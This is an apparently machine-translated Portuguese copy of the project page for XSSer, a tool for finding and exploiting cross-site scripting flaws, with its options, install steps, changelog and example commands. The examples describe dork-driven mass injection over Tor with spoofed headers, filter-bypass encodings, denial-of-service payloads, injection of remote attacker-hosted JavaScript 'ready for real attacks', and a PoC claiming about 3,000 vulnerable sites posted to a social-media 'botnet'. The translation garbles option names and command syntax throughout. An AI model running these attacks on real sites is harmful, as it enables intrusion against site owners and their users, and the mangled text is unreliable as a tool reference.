Xsser Ataque l2uy

XSSER

Introdução

Cross Site "Scripter" (aka XSSer) é um automático-estrutura de detectar, explorar e relatar vulnerabilidades XSS em aplicativos baseados na web.

Ele contém várias opções para tentar contornar certos filtros, e várias técnicas especiais de injeção de código. A versão atual XSSer v1.6b ("The Mosquito: Swarm Cinzento").

XSSer Cinzento Swarm + Clique para Zoom

Baixar o código fonte original: XSSer v1.6-betaUbuntu / Debian pacote: XSSer-1.6_all.deb Pacote ArchLinux: ligação AUR (v1.6b) Gentoo pacote: XSSer Gentoo ebuild (v1.6b) RPM pacote: XSSer-1.6-1.noarch.rpm Ou atualizar sua cópia diretamente do XSSer-repositório Subversion:

$ Svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

Esta versão inclui mais recursos do GTK + interface:

XSSer GTK + + Clique para Zoom

XSSer GTK + + Clique para Zoom XSSer GTK + + Clique para Zoom XSSer GTK + + Clique para Zoom DICA: type: 'xsser - gtk' para iniciar a partir de shell. Ou executar diretamente a partir do menu XSSer ícone xsser Instalação

XSSer é executado em muitas plataformas. Ele requer Python e as seguintes bibliotecas:

- Python-pycurl - Ligações Python para CURL - Python-BeautifulSoup - erro tolerante parser HTML para Python - Python-libxml2 - Ligações Python para a biblioteca XML GNOME - Python-geoip - Ligações Python para a biblioteca de resolução IP-to-country GeoIP

Em sistemas baseados em Debian (ex: Ubuntu), execute:

sudo apt-get install python-pycurl python-BeautifulSoup python-libxml2 python-geoip Uso

xsser [opções] [-u |-I |-D ] [G- |-P |-C ] [Pedido (s)] [Vectorial (s)] [Byer (s)] [Técnica (s)] [injecção final (s)]

Opções: - Version

mostrar o número da versão do programa e saída

-H, - help

mostrar esta mensagem de ajuda e sai

-S, - estatísticas

Ver as estatísticas avançadas resultados de saída

-V, - verbose - Gtk

modo detalhado resultados de saída ativos

lançamento XSSer GTK Interface (Assistente incluído!)

* Características especiais *: Você pode escolher vetorial (s) e Byer (s) para injetar código com estas características especiais extra:

- Imx = IMX

criar uma imagem falsa de código XSS embutido

- Fla = FLASH

criar um arquivo falso. swf com código XSS embutido

* Selecionar Destino (s) *: Pelo menos uma destas opções tem de ser especificado para definir a fonte para obter alvo (s) de urls. Você precisa escolher para executar XSSer:

-U URL, - url = URL

Digite alvo (s) para auditar

-I readFile

Leia URLs alvo de um arquivo

-D DORK

Processo motor de busca resultados dork como urls alvo

- De = DORK_ENGINE

Motor de busca para usar dorking (bing, altavista,

Yahoo, Baidu, Yandex, youdao, webcrawler, google, etc Ver imagem dork.py para verificar se os motores disponíveis)

* Selecione o tipo de conexão HTTP / HTTPS (s) *: Essas opções podem ser usadas para especificar qual parâmetro (s) que deseja utilizar como carga para injetar código.

-G getdata

Digite o payload para auditar usando GET. (Ex: '/ menu.php q =')

-P POSTDATA

Digite o payload para auditar usando POST. (Ex: 'foo = 1 & bar =')

-C RASTEJAMENTO

Número de urls para rastrear no alvo (s): 1-99999

- Cw = CRAWLING_WIDTH - Cl

Nível Deeping de rastreador: 1-5

Rastrear apenas local (s) urls alvo (default TRUE)

* Configure Request (s) *: Essas opções podem ser usadas para especificar como se conectar ao alvo (s) carga (s). Você pode escolher múltiplas:

- Cookies = BOLINHO

Mude o seu cabeçalho HTTP Cookie

- Drop-bolinho Ignorar cabeçalho Set-Cookie de resposta - -agent = AGENTE Mude o seu cabeçalho -Agent HTTP (padrão falso) - Referer = REFERER

Use outro Referer do cabeçalho HTTP (NONE default)

- Xforw Defina o seu HTTP X-transmitido-Para a valores de IP aleatórios - Xclient

Defina o seu X-Client-IP com valores de IP aleatórios HTTP

- Headers = HEADERS

Cabeçalhos HTTP extra nova linha separada

- Do tipo auth = AEscreva

Tipo de autenticação HTTP (Basic, Digest, GSS ou NTLM)

- Auth-cred = ACRED

As credenciais de autenticação HTTP (name: )

- Proxy = PROXY

Usar servidor proxy (tor: http://localhost:8118)

- Ignore-proxy Ignorar proxy HTTP padrão do sistema - Timeout = TIMEOUT Selecione o tempo limite (padrão 30) - Retries = RETRIES

Tentativas quando o tempo limite de conexão (default 1)

- Fios = ROSQUEIA

O número máximo de solicitações HTTP simultâneas (default 5)

- Delay = ATRASO

Atraso em segundos entre cada requisição HTTP (default 0)

- T-NoDelay Use a opção T_NODELAY - Siga-redireciona

XSSer vai acompanhar as respostas de redirecionamento do servidor (302)

- Siga-limit = FLI

Definir quantas vezes XSSer seguirá redirecionamentos (padrão 50)

* Verificador de Sistemas *: Esta opção é útil para saber se o seu alvo (s) tem alguns filtros contra ataques XSS, para reduzir os resultados "falsos positivos" e de realizar testes mais avançados:

- No-cabeça

NÃO verificar a estabilidade da url (códigos: 200 | 302) com uma cabeça pedido de pré-

check - Vivo = ISALIVE

definir limite de cada quanta erros XSSer deve verificar se alvo está vivo

- Hash enviar um hash único, sem vetores, a pré-seleção se o alvo (s) repete todo o conteúdo recebido - Heurística lançar um teste de heurística para descobrir quais parâmetros são filtrados no alvo (s) código:; \ / <> "'= - Checkaturl = ALT

verificar se há uma resposta XSS válida de alvo (s) em uma url alternativa. 'XSS cego'

- Checkmethod = ALTM verificar as respostas do alvo (s), utilizando um tipo de conexão diferente: GET ou POST (padrão: GET) - Checkatdata = ALD verificar as respostas do alvo (s), utilizando uma carga alternativa (default: o mesmo que a primeira injeção) - Reverse-check vulnerável

estabelecer uma ligação inversa da (s) alvo para a XSSer certificado que é 100%

* Select vetorial (s) *: Estas opções podem ser utilizadas para especificar uma fonte de vector de código de XSS a injectar em cada carga. Importante, se você não quer tentar injetar um vetor XSS comum, usado por padrão. Escolha apenas uma opção:

- Payload = SCRIPT

PRÓPRIOS - Insira o seu XSS construção-manualmente

- Auto AUTO - Insert XSSer 'relatou' vetores de arquivo (vetores HTML5 incluído!)

* Select Byer (s) *: Estas opções podem ser utilizadas para codificar vector seleccionado (s) a tentar contornar todas as possíveis filtros anti-XSS no alvo (s) código e algumas regras IPS, se o alvo usá-lo. Além disso, pode ser combinada com outras técnicas para proporcionar a codificação:

- Str

Use o método String.fromCharCode ()

- Une

Use a função Unescape ()

- Misturar

Mistura String.fromCharCode () e Unescape ()

- Dec

Usar codificação Decimal

- Hex

Usar codificação hexadecimal

- Ele é Usar codificação hexadecimal, com ponto e vírgula - Dwo Codificar vetores endereços IP em DWORD - Doo

Codificar vetores endereços IP em Octal

- Cem Tente-manualmente mutações diferentes de codificação de caracteres (Ofuscação inverso: a) -> (ex: 'Mix, Une, Str, Hex')

* Técnica especial (s) *: Essas opções podem ser usadas para tentar injetar código usando vários tipos de técnicas de XSS. Você pode escolher múltiplas:

- Coo

COO - Cross Site Scripting injeção Biscoito

- Xsa

XSA - Cross Site Scripting Agent

- Xsr

XSR - Cross Site Scripting Referer

- D

D - Data Control Protocol injeções

- Dom DOM - Use Anchor Furtivo (DOM sombras!) - Ind

IND - Response Splitting código Induced HTTP

- Anchor

ANC - Uso Anchor Furtivo payloader (DOM sombras!)

- PHPIDS

PHP - Explorar PHPIDS bug (0.6.5) para contornar os filtros

* Select injeção definitiva (s) *: Estas opções podem ser utilizados para especificar o código final a injectar no alvo vulnerável (s). Importante, se você quiser explorar on-the-wild suas vulnerabilidades descobertas. Escolha apenas uma opção:

- Fp = FINALPAYLOAD

PRÓPRIOS - Insira o código final para injetar-manualmente

- Fr = FINALREMOTE

Remota - insira seu código final para injetar-remotamente-

- Doss Doss - XSS Denial of service (servidor) de injeção

- Dos

DOS - Denial XSS de serviço (cliente) de injeção

- B64

B64 - Base64 codificação código na tag META (RFC2397)

* Injeção final especial (s) *: Estas opções podem ser utilizadas para executar alguma injecção "especial" (s) no alvo vulnerável (s). Você pode selecionar múltiplos e combinar com o seu código final (exceto com código PCD):

- ONM ONM - Use onMouseMove () evento para injetar código - Ifr

IFR - Use "iframe" tag fonte para injetar código

* Diversos *:

- Silent inibir resultados de saída do console - Atualizar

verificar se há XSSer última versão estável

- Salvar produzir todos os resultados diretamente ao modelo (XSSlist.dat) - Xml = FILEXML

saída 'positivos' para arquivo aXML (- xml filename.xml)

- Curtas = SHORTURLS exposição-final code-shortered (TinyURL, is.gd) - Lançamento lançar um navegador no final de cada XSS descoberto - Tweet

publicar cada XSS descobertos no 'Swarm cinza! "

- Tweet-tags = TT adicionar mais tags aos seus XSS publicações descobertos (default: # XSS) - (ex: # # xsser vulnerabilidade)

Exemplos

Se você tem exemplos interessantes de uso sobre XSSer, envie um e-mail para a lista de discussão . -------------------

* Simples injeção de URL:

$ Python xsser.py-u "http://host.com" ------------------* Injeção simples de arquivo, com procuração tor e falsificação de cabeçalhos HTTP Referer:

$ Python xsser.py-i "file.txt" - proxy "http://127.0.0.1:8118" - referer "666.666.666.666" ------------------* Múltiplas injeções de URL, com automático payloading, usando proxy tor, injetando na codificação de caracteres cargas em "hexadecimal", com a saída detalhada e salvar os resultados para o arquivo (XSSlist.dat):

$ Python xsser.py-u "http://host.com" - proxy "http://127.0.0.1:8118" - auto - Hex - verbose-w ------------------* Múltiplas injeções de URL, com automático payloading, usando caracter mutações de codificação (em primeiro lugar, mudar de carga para hexadecimal, em segundo lugar, mude para StringFromCharCode a primeira codificação, em terceiro lugar, reencode para Hexadecimal o segundo tipo de codificação), com HTTP -Agent falsificado, alterando tempo limite a "20", e usando multithreads (5 tópicos):

$ Python xsser.py-u "http://host.com" - auto - Cem "Hex, Str, Hex" - -agent "XSSer!" - Timeout "20" tópicos "5" ------------------* Avanço injeção de arquivo, payloading seu-próprio-carga e usando Unescape () codificação de caracteres para contornar os filtros:

$ Python xsser.py-i "urls.txt" - payload "a =" get "b =" URL (\ "" c = "javascript:"; d = "alert ('XSS'); \" ) "; Eval (a + b + c + d); '- Une ------------------* Injeção de Dork selecionando motor "duck" (XSSer tempestade!)

$ Python xsser.py - De "pato"-d "? Search.php" ------------------* Injeção de Crawler com profundidade 3 e 4 páginas para ver (XSSer Aranha!)

$ Python xsser.py-c3 - Cw = 4 u "http://host.com" ------------------* Simples injeção de URL, usando POST, com resultados estatísticos:

$ Python xsser.py-u "http://host.com"-p "index.php? Target = search & subtarget = top & searchstring ="-s ------------------* Múltiplas injeções de URL para um parâmetro com o envio de GET, usando payloading automático, com IP Octal payloading ofuscation e resultados printering em um "tinyurl" link shortered (pronto para compartilhar!):

$ Python xsser.py-u "http://host.com"-g "bs / q =?" - Auto - Doo - short tinyurl ------------------* Simples injeção de URL, usando GET, injetando um vetor no parâmetro Cookie, tentando usar uma sombra espaço DOM (sem log do servidor!) E se existe qualquer "buraco", aplicando a sua carga manual do código final "malicioso" (pronto para o real ataques):

$ Python xsser.py-u "http://host.com"-g "bs / q =?" - Coo - Dom - "! Digite o código de injeção final aqui" Fr = ------------------* Simples injeção de URL, usando GET e tentando gerar resultados com um "mal-intencionado" link shortered (is.gd) com DoS válido (denegação de serviço) navegador payload cliente:

$ Python xsser.py-u "http://host.com"-g "bs / q =?" - Dos - curta "is.gd" ------------------* Múltiplas injeções para vários lugares, metas de extração de uma lista em um arquivo, a aplicação automática payloading, alterar tempo limite para "20" e usando multithreads (5 threads), aumentando a demora entre petições a 10 segundos, injetar parâmetros HTTP -agent, HTTP Referer e nos parâmetros de cookies, usando proxy Tor, com IP Octal ofuscation, com resultados estatísticos, no modo detalhado e criar links shortered (tinyurl) de quaisquer cargas injetáveis válidos encontrados. (Modo de jogo real!)

$ Python xsser.py-i "list_of_url_targets.txt" - auto - timeout "20" - tópicos "5" - atraso de "10" - xsa - xsr Coo - proxy " 127.0.0.1:8118 "- Doo-s - verbose - Dos - short" tinyurl " -------------------

* Injeção de usuário XSS vetor diretamente em um malicioso-fake-imagem criada "em estado selvagem", e pronto para ser carregado.

$ Python xsser.py - Imx "test.png" - carga "! Digite o código malicioso injeção aqui!" ------------------Injeções * Relatório de saída 'positivos' de uma pesquisa dorking (usando "pedir" dorker) diretamente para um arquivo XML.

$ Python xsser.py-d ".php" - De "pedir" - xml "security_report_XSSer_Dork_cuil.xml" ------------------* Publicar saída injeções de uma pesquisa dorking 'positivos' (usando o "pato" dorker) diretamente para http://identi.ca (Federado XSS pentesting botnet)

$ Python xsser.py-d ".php" - De "pato" - Tweet

* Exemplos line:

- http://identi.ca/xsserbot01 - http://twitter.com/xsserbot01 ------------------* Criar um filme swf. Com código XSS injetado

$ Python xsser.py - fla "nome_do_arquivo" ------------------* Enviar um hash pré-verificação para ver se o alvo vai gerar falsos-positivos-resultados

$ Python xsser.py-u "host.com" - de hash ------------------* Múltiplas injeções fuzzing de url, incluindo D injeções e explorar o nosso código "próprio", falsificado

em um link shortered, em resultados positivos fundada. XSS explora em tempo real.

$ Python xsser.py-u "host.com" - auto - D - Fp "enter_your_code_here" - curta "is.gd" ------------------* Explorando Base64 codificação código tag META (RFC2397) em uma carga manual de um alvo vulnerável.

$ Python xsser.py-u "host.com"-g "vulnerable_path" - carga "valid_vector_injected" - B64 ------------------* Explorando nossa-remote "próprio" código em uma carga descoberto usando de difusão e lançá-lo em um navegador diretamente

$ Python xsser.py-u "host.com"-g "vulnerable_path" - auto - Fr "my_host / path / code.js" - lançamento Imagens

Se você tem imagens interessantes sobre XSSer, envie um e-mail para a lista de discussão . -------------------

XSSer: ferramenta automática para pentesting ataques XSS contra diferentes aplicações ferramenta automática para pentesting ataques XSS contra diferentes aplicações Núcleo: Chamada para ajudar menu principal (- help) (v1.5) (v1.5)

XSSer:

Núcleo: Exemplo de injeções automáticas

XSSer: ferramenta automática para pentesting ataques XSS contra diferentes aplicações ferramenta automática para pentesting ataques XSS contra diferentes aplicações

XSSer:

Núcleo: Exemplo de código remoto (- Fr) (v1.0) Núcleo: - (v1.0) Exemplo de injeção D (D) XSSer: ferramenta automática para pentesting ataques XSS contra diferentes aplicações ferramenta automática para pentesting ataques XSS contra diferentes aplicações GTK: Documentação (v1.5)

XSSer:

GTK: Wizard Helper (v1.5)

XSSer: ferramenta automática para pentesting ataques XSS contra diferentes aplicações ferramenta automática para pentesting ataques XSS contra diferentes aplicações

XSSer:

GTK: Relatório rastreamento resultados de idiota (v1.5) GTK: (s) Relatórios Geomap meta global (v1.5) Vídeos

Se você tem vídeos interessantes sobre XSSer, envie um e-mail para a lista de discussão . -------------------

Versão de XSSer (v1.5):

- Exemplo de interface de vídeo XSSer GTK.

Versões antigas do XSSer (v0.5 <):

- Video1 : Simples automáticas vetores payloading. * Relatado para o destino (06/07/2010) *.

- Video2 : registo do lado do servidor Apache. * Spoofing demostration *.

- Video3 : Dorking injeções com resultados stadistics. * O modo antigo explorador! * Payloads

XSSer usa uma lista de vetores válidos XSS para fazer ataques automáticos payloading no alvo (s).

Se você tiver XSS interessantes "códigos", envie um e-mail para a lista de discussão .

-------------------

A tabela de referência com os navegadores ados é: IE7.0 Vector funciona no Internet Explorer 7.0. Mais recentemente testado com o Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2. IE6.0 Vector funciona no Internet Explorer. Mais recentemente testado com o Internet Explorer 6.0.28.1.1106CO, SP2 no Windows 2000. NS8.1-IE Vector funciona no Netscape 8.1 + no modo motor de renderização do IE. Mais recentemente testado com Netscape 8.1 no Windows XP Professional. Isto costumava ser chamado de

modo confiável, mas Netscape mudou seu modelo de segurança longe do modelo confiável / não confiável e optou para Gecko como padrão eo IE como uma opção. NS8.1-G Vector funciona no Netscape 8.1 + no modo motor de renderização Gecko. Mais recentemente testado com Netscape 8.1 no Windows XP Professional FF2.0 Vector trabalha em motor de renderização Gecko do Mozilla, utilizado pelo Firefox. Mais recentemente testado com Firefox 2.0.0.2 no Windows XP Professional. O9.02 Vector funciona no Opera. Mais recentemente testado com o Opera 9.02, Build 8586 no Windows XP Professional NS4

Vector funciona em versões mais antigas do Netscape 4.0 - não foi testado.

As injeções são válidos como prova de que os navegadores. O atacante pode executar o código desejado, se qualquer uma das listas.

Baixar

XSSer (versão oficial) pode ser baixado a partir de sua página de lista de arquivos SourceForge . Por enquanto, está disponível no seguinte formato:

Fonte gzip sistema operacional independente.

Você também pode fazer o checkout da última versão de desenvolvimento do XSSer-repositório Subversion:

$ Svn co https://xsser.svn.sourceforge.net/svnroot/xsser xsser

Pacotes

XSSer v1.6b: "Swarm cinza!" (Mais atualizado):

Archlinux: ligação AUR

Gentoo: XSSer Gentoo ebuild

RPM pacote: XSSer-1.6-1.noarch.rpm

Ubuntu / Debian pacote: XSSer-1.6_all.deb

Instalação: tar xzvf xsser-1.6_all.deb.tar.gz sudo dpkg-i xsser-1.6_all.deb

Executar (modo GTK): xsser - gtk - silent

-------------------

XSSer v1.5: "Swarm Edition!":

Archlinux: ligação AUR

Ubuntu / Debian: xsser_1.5-1_all.deb.tar.gz

-------------------

XSSer v1.0: "O mosquito":

Archlinux: ligação AUR

Ubuntu / Debian: xsser_1.0-2_all.deb.tar.gz

Changelog

Novembro, 28, 2011:

XSSer versão 1.6-beta-aka "Grey Swarm!" lançado!

Núcleo: opção Cookies Somou Gota + Adicionado X-Forwarded-For GSS Adicionado e métodos de autenticação NTLM Adicionado opção Ignorar procuração + Adicionado opção opção + opção X-Client-IP aleatório + + T-IP + NoDelay Aleatório Adicionado Siga opção redirecionamentos + Adicionado Siga redirecionamentos parâmetro limitador + Adicionado sistema de pré-verificação Auto-HEAD + Adicionado opção No-CABEÇA + Adicionado opção isAlive + adicionado Confira a opção url (Blind XSS) + Adicionado reversa Verifique o parâmetro + PHPIDS Adicionado (v.0.6.5) exploit + adicionou mais vetores a autopayloading + Adicionado HTML5 estudou vetores + fixos erros diferentes no núcleo + opções handlerer fixos onda + sistema Dorkerers fixo + Bugs corrigidos nos resultados propagação + solicitações pós-fixados.

GTK: adicionou novas funcionalidades ao controlador GTK + Adicionado vistas detalhadas para a interface GTK.

Fevereiro, 25, 2011:

Pacote adicional para Archlinux. Mais informações aqui

24 de fevereiro de 2011:

XSSer versão 1.5-beta-aka "edição Swarm!" lançado!

Núcleo: Adicionado opção GTK + prova + Heurística Divisão de resposta HTTP (! Ak.a ataque induzido) + DoS (Server) de injeção + + + opção Atualizar Código limpo código final (adicionado D & DOM injeções) + correções de bugs + Novo menu de opções + Mais sistema de estatísticas do avançado + Atualizado lista dorkerers.

GTK: Navegação intuitiva + Assistente de helper ("construir seu pentesting responder a algumas perguntas") + viseira especialista (com alvo (s) geolocalização incluído + Documentação.

Criado pacote XSSer (v1.5) para sistemas baseados no Ubuntu / Debian. Você pode baixar aqui: xsser_1.5-1_all.deb.tar.gz

Novembro, 13, 2010:

XSSer pacote para Archlinux pode ser encontrado na AUR. Mais informações aqui

11 de novembro de 2010:

Criado pacote XSSer (v1.0) para sistemas baseados no Ubuntu / Debian. Você pode baixar aqui: xsser_1.0-2_all.deb.tar.gz

Novembro 9, 2010:

Adicionado resultados estatísticos mais avançados + Bugfixig.

Novembro 7, 2010:

XSSer versão 1.0 aka "O Mosquito" lançado!

Adicionado opção "injeções remotos finais" + Cruz Ataque do Flash! + Cruz Quadro Scripting + Data Control Protocol Injeções + Base64 (RFC2397) PoC + OnMouseMove PoC + lançador Navegador + código limpo correções de bugs + + + Novo menu de opções pré-verificação do sistema + rastreador spidering clones + sistema de estatísticas mais avançado + "Mana" resultados de saída .

Outubro 8, 2010:

POC: Detecção, exploração e comunicação "fcgi-bin/echo" vulnerabilidade da Oracle com XSSer

. / XSSer-d "" inurl: fcgi-bin/echo '"- De" google "- proxy" http://127.0.0.1:8118 "-s - Tweet

Os resultados do-botnet-ataque em tempo real:

- http://identi.ca/xsserbot01 - http://twitter.com/xsserbot01

Alerta: aprox. 3.000 sites encontram vulneráveis (XSSer tempestade!).

22 de setembro de 2010:

Adicionado a-xml exportador ImageXSS + + Novos motores dorker (total 10) + Núcleo limpo + correções de bugs + Redes Sociais XSS auto-editora + Iniciado-federado-XSS (divulgação completa) pentesting botnet.

http://identi.ca/xsserbot01 http://twitter.com/xsserbot01

20 de agosto de 2010:

Adicionado cargas ataque auto-payloader (26 novas injeções) + POST + Statistics + Redutores de URL + Octal IP + pós-processamento payloading + Dom Sombras! + Biscoito injector + Navegador DoS (denegação de Serviço).

01 de julho de 2010:

Dorking + + Crawling IP DWORD + Núcleo limpo.

19 abril de 2010:

HTTPS implementado + erros remendado.

22 março de 2010:

Adicionado "injetar sua própria carga" opção. Pode ser usado com todos os caracteres de codificaçãobyers-de XSSer.

18 março de 2010:

Adicionado cargas ataque auto-payloader (62 diferentes injeções de XSS).

16 março de 2010:

Adicionado novos codificadores de carga para contornar os filtros.

Documentação

Se você tiver a documentação interessante sobre XSSer, envie um e-mail para a lista de discussão .

-------------------

Slides XSSer - "O quadro de Cross Site Scripting" - 2012, apresentado em RootedCon (em espanhol)

Slides XSSer - "O mosquito" - 2011 apresentado em THSF'11 (Inglês)

"XSS para diversão e lucro":

PDF com exemplos práticos de algumas técnicas de XSS. Ele foi apresentado na conferência SCG-2009:

Versão em Inglês

Versão em espanhol

XSSer URL geração de esquema:

Lista de Mailing

XSSer tem uma lista de discussão hospedada no SourceForge .

A lista de discussão [email protected] é a maneira preferida de fazer perguntas, relatar bugs, sugerir novos recursos e discutir com outros usuários.

A lista de discussão é arquivado on-line . Para inscrever-se utilizar o formulário on-line . Licença

XSSer é liberado sob os termos da Licença Pública Geral v3 e é protegido por psy . Autor

GPG Public Key ID: 0xB8AC3776

Website: http://lordepsylon.net

Email: psy Epsylon

Microblogging: identi.ca

chilro

Comunidade

Se você é interessante em seguir últimas notícias sobre XSSer, você pode se juntar # xsser-comunidade em muitos lugares diferentes:

Microblogging: identi.ca twitter.com

Redes sociais: lorea.org

Ou usando IRC: irc.freenode.net / canal: # xsser

Contribuir

Se você quiser contribuir para o desenvolvimento XSSer, relatando um bug, proporcionando um patch, comentando sobre a base de código ou simplesmente precisa encontrar ajuda para executar XSSer, primeiro consulte a documentação xsser e, em seguida, navegar na xsser lista de arquivos on-line . Se ninguém recebe de volta a você, então mande-me um e-mail .

Por favor, adicione um link para este site quando você relatar algumas vulnerabilidades XSS fundada por XSSer.